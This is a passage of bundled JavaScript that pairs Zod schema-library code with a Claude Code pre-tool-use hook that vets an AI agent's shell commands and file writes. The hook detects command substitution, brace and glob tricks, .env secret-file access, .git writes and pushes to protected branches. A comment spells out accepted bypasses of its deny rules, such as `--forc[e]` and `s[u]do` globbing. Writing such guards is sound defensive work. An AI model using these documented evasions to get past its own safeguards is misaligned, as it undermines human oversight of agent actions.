(const value of values) if (keys.has(value)) delete newEntries[value];\n		else throw new Error(`Key ${value} not found in enum`);\n		return new ZodEnum({\n			...def,\n			checks: [],\n			...normalizeParams(params),\n			entries: newEntries\n		});\n	};\n});\nfunction _enum(values, params) {\n	const entries = Array.isArray(values) ? Object.fromEntries(values.map((v) => [v, v])) : values;\n	return new ZodEnum({\n		type: \"enum\",\n		entries,\n		...normalizeParams(params)\n	});\n}\nconst ZodTransform = /*@__PURE__*/ $constructor(\"ZodTransform\", (inst, def) => {\n	_ensureDefaultMemoizer();\n	$ZodTransform.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => transformProcessor(inst, ctx, json, params);\n	inst._zod.parse = (payload, _ctx) => {\n		if (_ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n		payload.addIssue = (issue$1) => {\n			if (typeof issue$1 === \"string\") payload.issues.push(issue(issue$1, payload.value, def));\n			else {\n				const _issue = issue$1;\n				if (_issue.fatal) _issue.continue = false;\n				_issue.code ?? (_issue.code = \"custom\");\n				if (!(\"input\" in _issue)) _issue.input = payload.value;\n				_issue.inst ?? (_issue.inst = inst);\n				payload.issues.push(issue(_issue));\n			}\n		};\n		const output = def.transform(payload.value, payload);\n		if (output instanceof Promise) return output.then((output) => {\n			payload.value = output;\n			return payload;\n		});\n		payload.value = output;\n		return payload;\n	};\n});\nfunction transform(fn) {\n	return new ZodTransform({\n		type: \"transform\",\n		transform: fn\n	});\n}\nconst ZodOptional = /*@__PURE__*/ $constructor(\"ZodOptional\", (inst, def) => {\n	$ZodOptional.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction optional(innerType) {\n	return new ZodOptional({\n		type: \"optional\",\n		innerType\n	});\n}\nconst ZodExactOptional = /*@__PURE__*/ $constructor(\"ZodExactOptional\", (inst, def) => {\n	$ZodExactOptional.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction exactOptional(innerType) {\n	return new ZodExactOptional({\n		type: \"optional\",\n		innerType\n	});\n}\nconst ZodNullable = /*@__PURE__*/ $constructor(\"ZodNullable\", (inst, def) => {\n	$ZodNullable.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => nullableProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nullable(innerType) {\n	return new ZodNullable({\n		type: \"nullable\",\n		innerType\n	});\n}\nconst ZodDefault = /*@__PURE__*/ $constructor(\"ZodDefault\", (inst, def) => {\n	$ZodDefault.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => defaultProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n	inst.removeDefault = inst.unwrap;\n});\nfunction _default(innerType, defaultValue) {\n	return new ZodDefault({\n		type: \"default\",\n		innerType,\n		get defaultValue() {\n			return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n		}\n	});\n}\nconst ZodPrefault = /*@__PURE__*/ $constructor(\"ZodPrefault\", (inst, def) => {\n	$ZodPrefault.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => prefaultProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction prefault(innerType, defaultValue) {\n	return new ZodPrefault({\n		type: \"prefault\",\n		innerType,\n		get defaultValue() {\n			return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n		}\n	});\n}\nconst ZodNonOptional = /*@__PURE__*/ $constructor(\"ZodNonOptional\", (inst, def) => {\n	$ZodNonOptional.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => nonoptionalProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nonoptional(innerType, params) {\n	return new ZodNonOptional({\n		type: \"nonoptional\",\n		innerType,\n		...normalizeParams(params)\n	});\n}\nconst ZodCatch = /*@__PURE__*/ $constructor(\"ZodCatch\", (inst, def) => {\n	$ZodCatch.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => catchProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n	inst.removeCatch = inst.unwrap;\n});\nfunction _catch(innerType, catchValue) {\n	return new ZodCatch({\n		type: \"catch\",\n		innerType,\n		catchValue: typeof catchValue === \"function\" ? catchValue : constantCatch(catchValue)\n	});\n}\nconst ZodPipe = /*@__PURE__*/ $constructor(\"ZodPipe\", (inst, def) => {\n	$ZodPipe.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => pipeProcessor(inst, ctx, json, params);\n	inst.in = def.in;\n	inst.out = def.out;\n});\nfunction pipe(in_, out) {\n	return new ZodPipe({\n		type: \"pipe\",\n		in: in_,\n		out\n	});\n}\nconst ZodReadonly = /*@__PURE__*/ $constructor(\"ZodReadonly\", (inst, def) => {\n	$ZodReadonly.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => readonlyProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction readonly(innerType) {\n	return new ZodReadonly({\n		type: \"readonly\",\n		innerType\n	});\n}\nconst ZodCustom = /*@__PURE__*/ $constructor(\"ZodCustom\", (inst, def) => {\n	$ZodCustom.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => customProcessor(inst, ctx, json, params);\n});\nfunction refine(fn, _params = {}) {\n	return _refine(ZodCustom, fn, _params);\n}\nfunction superRefine(fn, params) {\n	return _superRefine(fn, params);\n}\n\n//#endregion\n//#region src/lib/hook-io.ts\nconst HookInputSchema = object({\n	session_id: string(),\n	transcript_path: string(),\n	cwd: string(),\n	permission_mode: string(),\n	hook_event_name: string(),\n	tool_name: string(),\n	tool_input: record(string(), unknown())\n});\n/**\n* Read and parse the full stdin as JSON.\n* Returns a result with the validated HookInput, or the raw data and error on failure.\n*/\nasync function readHookInput() {\n	const chunks = [];\n	for await (const chunk of process.stdin) chunks.push(typeof chunk === \"string\" ? chunk : String(chunk));\n	let parsed;\n	try {\n		parsed = JSON.parse(chunks.join(\"\"));\n	} catch (_error) {\n		return {\n			ok: false,\n			raw: chunks.join(\"\").slice(0, 200),\n			error: \"invalid JSON\"\n		};\n	}\n	const result = HookInputSchema.safeParse(parsed);\n	if (!result.success) return {\n		ok: false,\n		raw: parsed,\n		error: result.error.message\n	};\n	return {\n		ok: true,\n		data: result.data\n	};\n}\nconst BashInputSchema = object({\n	command: string(),\n	description: optional(string())\n});\nconst FilePathInputSchema = object({ file_path: string() });\nconst SearchInputSchema = object({\n	pattern: string(),\n	path: optional(string())\n});\n/** Parse tool_input as Bash input. Returns null if invalid. */\nfunction parseBashInput(toolInput) {\n	const result = BashInputSchema.safeParse(toolInput);\n	return result.success ? result.data : null;\n}\n/** Parse tool_input as file-path input (Read, Write, Edit). Returns null if invalid. */\nfunction parseFilePathInput(toolInput) {\n	const result = FilePathInputSchema.safeParse(toolInput);\n	return result.success ? result.data : null;\n}\n/** Parse tool_input as search input (Glob, Grep). Returns null if invalid. */\nfunction parseSearchInput(toolInput) {\n	const result = SearchInputSchema.safeParse(toolInput);\n	return result.success ? result.data : null;\n}\n/**\n* Write a deny decision to stdout as JSON, with `reason` emitted as\n* `permissionDecisionReason` when present.\n*/\nfunction writeDeny(reason) {\n	const decision = { hookSpecificOutput: {\n		hookEventName: \"PreToolUse\",\n		permissionDecision: \"deny\",\n		...reason ? { permissionDecisionReason: reason } : {}\n	} };\n	process.stdout.write(JSON.stringify(decision));\n}\n/**\n* Write a non-blocking advisory to stdout as `additionalContext`, with no\n* `permissionDecision` at all. Claude Code still shows a PreToolUse hook's\n* `additionalContext` to the model when the output carries no permission\n* decision (checked by hand against a live session), so a `none` result can\n* still carry advice.\n*/\nfunction writeAdvice(advice) {\n	const decision = { hookSpecificOutput: {\n		hookEventName: \"PreToolUse\",\n		additionalContext: advice\n	} };\n	process.stdout.write(JSON.stringify(decision));\n}\n\n//#endregion\n//#region src/lib/audit.ts\nconst MAX_LOG_SIZE = 1048576;\n/**\n* Resolve the audit log path relative to the hook's own location.\n* Co-located at `.claude/hooks/bst-hook.audit.local.jsonl`.\n*/\nfunction getLogPath() {\n	const hookDir = path.dirname(fileURLToPath(import.meta.url));\n	return path.join(hookDir, \"bst-hook.audit.local.jsonl\");\n}\n/**\n* Rotate the log file if it exceeds MAX_LOG_SIZE.\n* Renames current log to `.1` and starts fresh.\n* Safe against concurrent rotation -- ENOENT on rename is expected and ignored.\n*/\nfunction rotateIfNeeded(logPath) {\n	try {\n		if (fs.statSync(logPath).size > MAX_LOG_SIZE) {\n			const rotatedPath = `${logPath}.1`;\n			fs.renameSync(logPath, rotatedPath);\n		}\n	} catch (_error) {}\n}\n/** Whether rotation has been checked this session */\nlet rotationChecked = false;\n/**\n* Append an audit entry to the JSONL log.\n* Never throws -- audit failures log to stderr and continue.\n*/\nfunction audit(entry) {\n	try {\n		const logPath = getLogPath();\n		if (!rotationChecked) {\n			rotateIfNeeded(logPath);\n			rotationChecked = true;\n		}\n		const record = {\n			timestamp: (/* @__PURE__ */ new Date()).toISOString(),\n			...entry\n		};\n		fs.appendFileSync(logPath, JSON.stringify(record) + \"\\n\");\n	} catch (err) {\n		process.stderr.write(`[bst-hook] audit write failed: ${err instanceof Error ? err.message : String(err)}\\n`);\n	}\n}\n\n//#endregion\n//#region src/lib/shell-tokenizer.ts\n/**\n* Scan a double-quoted string starting at `start` (the char after the opening\n* quote). Returns the unescaped content and the index just past the closing\n* quote, or `null` if the quote is never closed.\n*/\nfunction scanDoubleQuoted(input, start) {\n	let content = \"\";\n	let i = start;\n	while (i < input.length && input[i] !== \"\\\"\") {\n		if (input[i] === \"\\\\\" && i + 1 < input.length) {\n			const next = input[i + 1];\n			if (next === \"\\\"\" || next === \"\\\\\" || next === \"$\" || next === \"`\") {\n				content += next;\n				i += 2;\n				continue;\n			}\n		}\n		content += input[i];\n		i++;\n	}\n	if (i >= input.length) return null;\n	return {\n		content,\n		next: i + 1\n	};\n}\nfunction tokenize(input) {\n	const tokens = [];\n	let current = \"\";\n	let i = 0;\n	let inToken = false;\n	while (i < input.length) {\n		const ch = input[i];\n		if (ch === \"'\") {\n			inToken = true;\n			i++;\n			while (i < input.length && input[i] !== \"'\") {\n				current += input[i];\n				i++;\n			}\n			if (i >= input.length) return {\n				ok: false,\n				error: \"unterminated single quote\"\n			};\n			i++;\n		} else if (ch === \"\\\"\") {\n			inToken = true;\n			const scanned = scanDoubleQuoted(input, i + 1);\n			if (!scanned) return {\n				ok: false,\n				error: \"unterminated double quote\"\n			};\n			current += scanned.content;\n			i = scanned.next;\n		} else if (ch === \"\\\\\" && i + 1 < input.length) {\n			inToken = true;\n			current += input[i + 1];\n			i += 2;\n		} else if (ch === \" \" || ch === \"	\") {\n			if (inToken) {\n				tokens.push(current);\n				current = \"\";\n				inToken = false;\n			}\n			i++;\n		} else {\n			inToken = true;\n			current += ch;\n			i++;\n		}\n	}\n	if (inToken) tokens.push(current);\n	return {\n		ok: true,\n		tokens\n	};\n}\n/**\n* Characters safe to leave unquoted when re-emitting a token. Anything outside\n* this set could be interpreted by the shell-splitter or tokenizer on a\n* subsequent pass (operators, whitespace, quotes, globs, vars, etc.).\n*/\nconst SAFE_UNQUOTED_RE = /^[A-Za-z0-9_\\-./=:@%+,]+$/;\n/** Single-quote-wrap a token unless it only contains safe characters. */\nfunction quoteToken(token) {\n	if (token.length > 0 && SAFE_UNQUOTED_RE.test(token)) return token;\n	return \"'\" + token.replace(/'/g, \"'\\\\''\") + \"'\";\n}\n/**\n* Inverse of `tokenize`: join tokens into a command string that survives\n* round-tripping through `splitCommand` and `tokenize`.\n*\n* Naive `tokens.join(\" \")` is lossy: any token that was originally quoted\n* loses its quote wrapper and may be mis-parsed when split/tokenized again\n* (e.g. `--testPathPattern=a|b` would split on the embedded `|`).\n*/\nfunction joinTokens(tokens) {\n	return tokens.map(quoteToken).join(\" \");\n}\n\n//#endregion\n//#region src/lib/shell-splitter.ts\n/**\n* Split a raw command string into segments on unquoted &&, ||, ;, and | operators.\n* Quote-aware: operators inside single or double quotes are not split points.\n*\n* Returns segments with the operator that follows each one (null for the last segment).\n*/\nfunction splitCommand(input) {\n	if (!input || !input.trim()) return [];\n	const segments = [];\n	let current = \"\";\n	let i = 0;\n	let inSingleQuote = false;\n	let inDoubleQuote = false;\n	while (i < input.length) {\n		const ch = input[i];\n		if (ch === \"'\" && !inDoubleQuote) {\n			inSingleQuote = !inSingleQuote;\n			current += ch;\n			i++;\n			continue;\n		}\n		if (ch === \"\\\"\" && !inSingleQuote) {\n			inDoubleQuote = !inDoubleQuote;\n			current += ch;\n			i++;\n			continue;\n		}\n		if (ch === \"\\\\\" && !inSingleQuote && i + 1 < input.length) {\n			current += ch + input[i + 1];\n			i += 2;\n			continue;\n		}\n		if (!inSingleQuote && !inDoubleQuote) {\n			if (ch === \"&\" && i + 1 < input.length && input[i + 1] === \"&\") {\n				pushSegment(segments, current, \"&&\");\n				current = \"\";\n				i += 2;\n				continue;\n			}\n			if (ch === \"&\" && !(i + 1 < input.length && input[i + 1] === \">\") && !(i > 0 && (input[i - 1] === \">\" || input[i - 1] === \"<\"))) {\n				pushSegment(segments, current, \"&\");\n				current = \"\";\n				i++;\n				continue;\n			}\n			if (ch === \"|\" && i + 1 < input.length && input[i + 1] === \"|\") {\n				pushSegment(segments, current, \"||\");\n				current = \"\";\n				i += 2;\n				continue;\n			}\n			if (ch === \"|\") {\n				pushSegment(segments, current, \"|\");\n				current = \"\";\n				i++;\n				continue;\n			}\n			if (ch === \";\") {\n				pushSegment(segments, current, \";\");\n				current = \"\";\n				i++;\n				continue;\n			}\n		}\n		current += ch;\n		i++;\n	}\n	const trimmed = current.trim();\n	if (trimmed) segments.push({\n		command: trimmed,\n		operator: null\n	});\n	return segments;\n}\nfunction pushSegment(segments, text, operator) {\n	const trimmed = text.trim();\n	if (trimmed) segments.push({\n		command: trimmed,\n		operator\n	});\n}\n\n//#endregion\n//#region src/lib/injection-guard.ts\n/**\n* Bash brace expansion: a `{...}` group containing a comma (list form,\n* `{a,b}`/`{a,}`/`{,a}`) or `..` (range form, `{1..3}`/`{a..z}`) is expanded\n* into multiple words *before* the command runs -- so `--for{c,}e` reaches the\n* program as argv `--force --fore` and `r{m,}m` as `rmm rm`. Braces without a\n* comma or `..` (`a{b}`, `HEAD@{1}`, `{}`) are left literal by bash and must\n* not be flagged.\n*\n* Bash brace expansion is *recursive*: a comma/range list expands even when a\n* branch of it contains its own nested `{...}`, so `--for{c,{}}e` still yields\n* `--force`. A regex cannot express \"a `,` or `..` at balanced brace depth\"\n* (the earlier `/\\{[^{}]*(?:,|\\.\\.)[^{}]*\\}/` required the separator to be\n* flanked by brace-free text out to the enclosing braces, which nested braces\n* defeat while bash still expands). So this is a depth-aware scan: increment on\n* `{`, decrement on `}` (never below 0), and flag the token if a `,` or `..`\n* appears while depth >= 1 -- i.e. anywhere inside any brace group, no matter\n* how deeply nested. Fail-closed: unbalanced braces are flagged too.\n*\n* As with `$`-expansion, the tokenizer has already stripped single quotes by\n* the time `checkInjection` runs, so a genuinely-quoted `'{a,b}'` or\n* `'{\"a\":1,\"b\":2}'` is indistinguishable from an unquoted brace-expansion here\n* and is flagged too -- an accepted fail-closed false positive (a `none`\n* result just defers to Claude Code's own classifier).\n*/\nfunction hasBraceExpansion(token) {\n	let depth = 0;\n	for (let i = 0; i < token.length; i++) {\n		const ch = token[i];\n		if (ch === \"{\") depth++;\n		else if (ch === \"}\") {\n			if (depth > 0) depth--;\n		} else if (depth >= 1 && (ch === \",\" || ch === \".\" && token[i + 1] === \".\")) return true;\n	}\n	return false;\n}\n/**\n* Detect dangerous patterns in tokenized command segments.\n*\n* Checks for:\n* - Command substitution (`$(...)`, backticks)\n* - Any other unresolved `$`-expansion (`${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`, ...)\n* - Brace expansion (`{a,b}` list form, `{1..3}` range form)\n* - Process substitution (`<(...)`, `>(...)`)\n* - Newlines in raw segment (injection via line splitting)\n*\n* Redirect targets (`>`, `>>`, `<`) are deliberately not checked here any\n* more -- with no allow tier, a bare redirect is no longer a reason to\n* withhold a decision on its own, so `evaluateSegment` judges a redirect's\n* *target* itself (the node-modules-write and env-file-write deny rules)\n* instead of asking this guard to flag the operator generically. See\n* `evaluateSegment`'s own comment for why that check has to run ahead of this\n* one.\n*\n* The tokenizer (`shell-tokenizer.ts`) resolves single-quoted and\n* backslash-escaped content into plain characters before this function ever\n* sees it -- so a token's surviving `$` is indistinguishable between \"bash\n* will expand this\" (`$(...)`, `${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`,\n* `$@`, `$?`, ...) and \"this `$` was always a literal character\" (e.g. from\n* `'cost $5'` or `\\$5`). Rather than trying to reconstruct quote context\n* after the fact, any token still containing a `$` is treated as unsafe.\n* This is deliberately fail-closed: it routes the segment to `none` (Claude\n* Code's own classifier judges it from there) rather than risking an\n* unresolved expansion silently being denied or not based on the wrong argv.\n*\n* ## Expansions this guard knowingly does NOT model\n*\n* Two weaker members of the same \"unmodeled expansion\" family are left open. Both were\n* surfaced by the adversarial review of the issue-attachments hardening and verified\n* empirically against real bash plus this evaluator. **Decision (2026-07-13): accept as\n* documented limitations.** They are recorded here, not as a todo, because the next\n* person to touch this function is the person who needs to know.\n*\n* **Glob reconstruction.** `git push --forc[e] origin feat/x` (also `--forc?`, `--for*`)\n* expands to a real `--force` argv, yet this returns `safe` and the `git-force-push` rule\n* never sees a `--force` token -- but *only when a file literally named `--force` already\n* exists in the working directory*. Creating that file is a separate command, so it is a\n* two-step, precondition-gated bypass: strictly weaker than the unconditional `$`/brace\n* bypasses that were fixed. The same class defeats a command-name deny rule too (e.g.\n* `s[u]do`), again only with a pre-existing matching file. Such a command gets no decision\n* from the hook, and auto mode's classifier judges it.\n*\n* *Why not fixed here:* this guard can only withhold a decision. Routing every token with an\n* unquoted glob metacharacter (`*`, `?`, `[`) to `none` would add no deny; it would hide the\n* deny rules from nearly every globbing command an agent runs (`ls *.md`, `cp dist/* ...`).\n* Closing the gap takes a deny rule instead -- the candidate is to deny a glob metachar\n* **only in a token that also begins with `-`** (a flag position, which is where the\n* reconstruction lives), leaving bare-argument globs like `*.md` alone.\n*\n* **Tilde expansion.** `~` is unmodeled. Bash only expands it to a home *path* at word\n* start, so it cannot reconstruct a flag or a command name -- it is a path-scope concern,\n* not the flag/command-reconstruction vector this guard defends against. Lowest priority;\n* noted for completeness.\n*\n* If either is ever closed, pin it with regression fixtures the way the nested-brace cases\n* were pinned in `tests/fixtures.ts`.\n*/\nfunction checkInjection(tokens, rawSegment) {\n	if (/[\\n\\r]/.test(rawSegment)) return {\n		safe: false,\n		reason: \"unquoted newline in command\"\n	};\n	for (const token of tokens) {\n		if (token === \"`\") return {\n			safe: false,\n			reason: \"backtick command substitution\"\n		};\n		if (token.includes(\"`\")) return {\n			safe: false,\n			reason: \"backtick command substitution\"\n		};\n		if (token.includes(\"$\")) return {\n			safe: false,\n			reason: \"unresolved dollar-expansion\"\n		};\n		if (hasBraceExpansion(token)) return {\n			safe: false,\n			reason: \"brace expansion\"\n		};\n		if (token.includes(\"<(\")) return {\n			safe: false,\n			reason: \"process substitution\"\n		};\n		if (token.includes(\">(\")) return {\n			safe: false,\n			reason: \"process substitution\"\n		};\n	}\n	return { safe: true };\n}\n\n//#endregion\n//#region src/lib/env-file.ts\n/**\n* File extensions considered safe documentation templates.\n* Files ending with these suffixes are NOT treated as secret .env files.\n*/\nconst ENV_SAFE_SUFFIXES = [\n	\".sample\",\n	\".example\",\n	\".template\"\n];\n/**\n* Env files owned by a bst command rather than by the developer's secrets.\n*\n* `docker-compose.check.env` is the file `bst docker:check` auto-detects and\n* passes to compose as `--env-file`. It is committed, and it holds placeholder\n* values for a throwaway check stack -- yet it is also the *only* way to feed\n* compose interpolation, so denying it left an agent unable to create or read\n* the one file the check needs. Two bst features blocking each other is worse\n* than the marginal secret risk of a file whose purpose is to hold non-secrets.\n*/\nconst ENV_TOOL_OWNED_SUFFIXES = [\".check.env\"];\n/**\n* Pattern matching .env files: `.env`, `.env.local`, `.env.production`, etc.\n* Does NOT match `.env.sample`, `.env.example`, `.env.template`.\n*/\nconst ENV_FILE_PATTERN = /(^|[/\\\\])(\\.env(\\..*)?|.*\\.env(\\..*)?|\\.env)$/;\n/** Check if a filename is a safe .env documentation template, or a bst-owned env file. */\nfunction isEnvSafeSuffix(filename) {\n	return [...ENV_SAFE_SUFFIXES, ...ENV_TOOL_OWNED_SUFFIXES].some((suffix) => filename.endsWith(suffix));\n}\n/**\n* Check if a path targets a .env file (excluding safe templates).\n* Works with both bare filenames and full paths.\n*/\nfunction isEnvFile(filePath) {\n	if (isEnvSafeSuffix(path.basename(filePath))) return false;\n	return ENV_FILE_PATTERN.test(filePath);\n}\n\n//#endregion\n//#region src/lib/git-state.ts\n/**\n* Return the current branch name, or null when:\n*   - cwd is not a git repository,\n*   - HEAD is detached,\n*   - any git invocation fails.\n*\n* Null means \"unknown\", and an unknown branch is not a protected one: no\n* rule denies because the branch could not be read.\n*/\nfunction getCurrentBranch(cwd) {\n	try {\n		const out = execFileSync(\"git\", [\n			\"rev-parse\",\n			\"--abbrev-ref\",\n			\"HEAD\"\n		], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim();\n		if (!out || out === \"HEAD\") return null;\n		return out;\n	} catch {\n		return null;\n	}\n}\n/**\n* Return the remote default branch (from refs/remotes/origin/HEAD), stripped\n* of the \"origin/\" prefix. Returns null when the symbolic ref isn't set\n* (common for fresh clones with no remote).\n*/\nfunction getRemoteDefaultBranch(cwd) {\n	try {\n		const out = execFileSync(\"git\", [\n			\"symbolic-ref\",\n			\"--short\",\n			\"refs/remotes/origin/HEAD\"\n		], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim();\n		if (!out) return null;\n		return out.startsWith(\"origin/\") ? out.slice(7) : out;\n	} catch {\n		return null;\n	}\n}\nconst ALWAYS_PROTECTED = [\"main\", \"master\"];\n/**\n* Compute the full protected set: hard-coded {main, master}, plus the remote\n* default branch when available, plus any caller-supplied extras (e.g. from\n* .claude/hooks/bst-hook.settings.json#protectedBranches).\n*\n* Known limitation: if a repo's real default branch is neither \"main\" nor\n* \"master\" AND refs/remotes/origin/HEAD is unset (getRemoteDefaultBranch()\n* returns null -- e.g. a shallow or partial clone that never fetched the\n* symbolic ref), that default branch is absent from this set. A push whose\n* refspec destination is that branch would then pass the protected-branch\n* check in movesProtectedRef. This is not treated as a reason to block pushes\n* whenever origin/HEAD is unset, since that would break the far more common\n* case (default branch already covered by {main, master} or by\n* protectedBranches); repos with a non-standard default branch name should\n* set it explicitly via .claude/hooks/bst-hook.settings.json#protectedBranches.\n*/\nfunction getProtectedBranches(cwd, extra) {\n	const set = new Set(ALWAYS_PROTECTED);\n	const remote = getRemoteDefaultBranch(cwd);\n	if (remote) set.add(remote);\n	for (const b of extra) set.add(b);\n	return set;\n}\n/**\n* The upstream of `branch` in short form (`origin/main`), or null when it has\n* none, cwd is not a repository, or git fails for any other reason.\n*/\nfunction getUpstream(cwd, branch) {\n	try {\n		return execFileSync(\"git\", [\n			\"rev-parse\",\n			\"--abbrev-ref\",\n			`${branch}@{upstream}`\n		], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim() || null;\n	} catch {\n		return null;\n	}\n}\n/**\n* The commit id `rev` names, or null when it names no commit (a path, a\n* typo) or git fails. `rev` must not start with `-`: callers pass only\n* positional arguments.\n*/\nfunction resolveCommit(cwd, rev) {\n	try {\n		return execFileSync(\"git\", [\n			\"rev-parse\",\n			\"--verify\",\n			\"--quiet\",\n			`${rev}^{commit}`\n		], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim() || null;\n	} catch {\n		return null;\n	}\n}\n/**\n* True when `cwd` is the repository's *primary* worktree (not a linked one\n* created by `git worktree add`). In the primary worktree the git dir and the\n* common git dir are the same directory; in a linked worktree the git dir is\n* `.../.git/worktrees/<name>` while the common dir is the shared `.../.git`.\n*\n* Fail-safe: any git/filesystem error returns `false` (treated as \"not primary\",\n* i.e. no advisory) so a hiccup never disturbs the decision.\n*/\nfunction isPrimaryWorktree(cwd) {\n	try {\n		const gitDir = execFileSync(\"git\", [\"rev-parse\", \"--absolute-git-dir\"], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim();\n		const commonRaw = execFileSync(\"git\", [\"rev-parse\", \"--git-common-dir\"], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim();\n		if (!gitDir || !commonRaw) return false;\n		const commonDir = resolve(cwd, commonRaw);\n		return realpathSync(gitDir) === realpathSync(commonDir);\n	} catch {\n		return false;\n	}\n}\n\n//#endregion\n//#region src/lib/git-short-options.ts\n/** Per-subcommand required-value short option letters. Deliberately excludes\n* `-t` (`--track`): see the note below the value-taking sets.\n*/\nconst VALUE_TAKING_LETTERS = {\n	switch: /* @__PURE__ */ new Set([\"c\", \"C\"]),\n	checkout: /* @__PURE__ */ new Set([\"b\", \"B\"]),\n	branch: /* @__PURE__ */ new Set([\"u\"]),\n	fetch: /* @__PURE__ */ new Set([\"o\", \"j\"])\n};\n/**\n* Decompose a short-option cluster token for `sub`. Returns `undefined` for\n* anything that is not a short-option cluster: a token that does not start\n* with `-`, the bare `-`, and anything starting with `--`. Every caller keeps\n* handling those tokens exactly as it does today.\n*\n* Otherwise walks the characters after the leading `-` left to right,\n* collecting each into `letters`, and stops at the first character that is a\n* required-value option letter for `sub` -- that letter is the last one\n* collected, and the remainder of the token (possibly empty) becomes\n* `attachedValue`, never inspected as flags again.\n*\n* Worked cases:\n* - `-fc` (switch or checkout) -> letters `[\"f\", \"c\"]`, no attached value --\n*   `f` never stops the scan, so `c`/`C` is just collected as another letter\n*   unless the subcommand's own value-taking set includes it earlier.\n* - `-cf` (switch) -> letters `[\"c\"]`, attached value `\"f\"`.\n* - `-cfeat/x` (switch) -> letters `[\"c\"]`, attached value `\"feat/x\"`.\n* - `-c` (switch) -> letters `[\"c\"]`, attached value `\"\"` (git reads the\n*   branch name from the next argv element).\n*/\nfunction splitShortOptionCluster(token, sub) {\n	if (!token.startsWith(\"-\") || token.startsWith(\"--\") || token.length <= 1) return;\n	const valueLetters = VALUE_TAKING_LETTERS[sub];\n	const letters = [];\n	const chars = token.slice(1);\n	for (let i = 0; i < chars.length; i++) {\n		const ch = chars[i];\n		letters.push(ch);\n		if (valueLetters.has(ch)) return {\n			letters,\n			attachedValue: chars.slice(i + 1)\n		};\n	}\n	return { letters };\n}\n\n//#endregion\n//#region src/lib/path-scope.ts\n/**\n* Path-containment helpers that are correct across operating systems.\n*\n* The hook receives a `cwd` from its host. On Windows the same location can be\n* spelled with either drive-letter case (`D:\\proj` vs `d:\\proj`) -- the IDE is\n* inconsistent -- and NTFS treats them as identical. Plain `===` / `startsWith`\n* comparisons on the resolved path therefore misfire whenever the drive-letter\n* case differs, falling through to none (reads) or a false containment\n* result for a path-scoped write rule -- git-dir-write, node-modules-write,\n* hooks-folder-write (writes).\n*\n* The fix: pick the path flavor (win32 vs posix) from the *trusted* base path --\n* `cwd` -- and run every resolve/compare through that flavor. win32's\n* `relative()` is case-insensitive and separator-aware, so drive-letter case no\n* longer matters; posix stays case-sensitive, as that filesystem demands.\n* Deriving the flavor from the base (not the incoming target) means a crafted\n* target can't flip the comparison mode.\n*/\n/** Select the path flavor implied by a base path (a leading drive letter => win32). */\nfunction pathFlavorFor(base) {\n	return /^[a-zA-Z]:[\\\\/]/.test(base) ? path.win32 : path.posix;\n}\n/** Resolve `target` against `base` using the flavor implied by `base`. */\nfunction resolveIn(base, target) {\n	return pathFlavorFor(base).resolve(base, target);\n}\n/**\n* Whether `target` is `dir` itself or nested beneath it, compared with `dir`'s\n* flavor. `target` is expected to be already resolved (absolute); pass it through\n* `resolveIn` first when it may be relative or contain `..`.\n*/\nfunction isWithin(dir, target) {\n	const pp = pathFlavorFor(dir);\n	const rel = pp.relative(dir, target);\n	if (rel === \"\") return true;\n	if (rel === \"..\" || rel.startsWith(\"..\" + pp.sep)) return false;\n	return !pp.isAbsolute(rel);\n}\n/** Whether two paths refer to the same location, compared with `a`'s flavor. */\nfunction samePath(a, b) {\n	return pathFlavorFor(a).relative(a, b) === \"\";\n}\n/**\n* Whether `filePath` (resolved against `cwd`) is a `.git` directory\n* anywhere under `cwd` -- top-level or nested inside a subdirectory repo --\n* or anything beneath one. Covers both the directory in a normal clone and\n* the gitdir-pointer *file* git writes at the root of a worktree checkout\n* (both cases have a path segment exactly equal to `.git`).\n*\n* A nested repo's git dir (`<cwd>/sub/.git/config`) is just as sensitive as\n* the top-level one: an unguarded write there can add a malicious remote or\n* rewrite push config that a later `cd sub && git push` trusts. So this\n* checks every path segment of `filePath` resolved against `cwd`, not 